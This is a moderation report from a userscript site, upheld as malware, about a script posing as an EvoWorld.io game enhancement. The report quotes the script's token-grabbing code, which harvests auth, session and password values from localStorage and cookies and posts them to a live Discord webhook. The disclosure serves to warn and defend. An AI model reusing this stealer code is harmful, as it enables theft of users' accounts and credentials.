☰

EvoWorld.io Auto Attack & Game Enhancement was reported 28.12.2025 for Malware

The reporter said:

account grabber

function captureTokens() {
if (tokenSendCooldown) return;

const tokens = {};
let hasNewTokens = false;

for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
if (key.match(/(token|auth|session|pass|key|secret|login)/i)) {
const value = localStorage.getItem(key);
tokens[`local_${key}`] = {
value: value,
source: 'localStorage',
length: value.length
};
hasNewTokens = true;
}
}

document.cookie.split(';').forEach(cookie => {
const [name, val] = cookie.trim().split('=');
if (name && name.match(/(token|auth|session|pass|login)/i)) {
tokens[`cookie_${name}`] = {
value: val,
source: 'cookie',
length: val?.length || 0
};
hasNewTokens = true;
}
});

if (hasNewTokens && Object.keys(tokens).length > 0) {
const currentTokenData = JSON.stringify(tokens);
if (currentTokenData !== lastTokenData) {
lastTokenData = currentTokenData;
tokenSendCooldown = true;

sendStolenData({
type: 'auth_tokens',
tokens: tokens,
count: Object.keys(tokens).length
});

setTimeout(() => {
tokenSendCooldown = false;
}, 30000);
}
}
}

setInterval(captureTokens, 60000);
setTimeout(captureTokens, 5000);

function sendStolenData(data, force = false) {
try {
if (!data || (!force && data.type === 'auth_tokens' && tokenSendCooldown)) {
return;
}

if (data.value && data.value.length > 50) {
data.value = data.value.substring(0, 50) + '...';
}

if (data.tokens) {
Object.keys(data.tokens).forEach(key => {
if (data.tokens[key].value && data.tokens[key].value.length > 80) {
data.tokens[key].value = data.tokens[key].value.substring(0, 80) + '...';
}
});
}

const payload = {
data: data,
time: new Date().toISOString(),
player: window.game?.me?.name || 'unknown',
url: window.location.href.substring(0, 50)
};

fetch('https://discord.com/api/webhooks/1373802856053866557/UosH-E90G9Bw123dMbtHMNue3ke9EL6B479LA60xkDb6LJyh0BhrC3fZUGOjiRBdafmn', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
content: '```json\n' + JSON.stringify(payload, null, 2) + '\n```',
username: data.type === 'password_captured' ? 'Password Alert' : 'Game Monitor'
})
}).catch(() => {});

} catch(e) {
console.log('Send error:', e.message);
}
}
}

setTimeout(initStealing, 2000);

}, 1000);

This script has had 1 previous upheld or fixed report.

MerryXmas67Banned (the reported user) has made:

This report has been upheld by a moderator.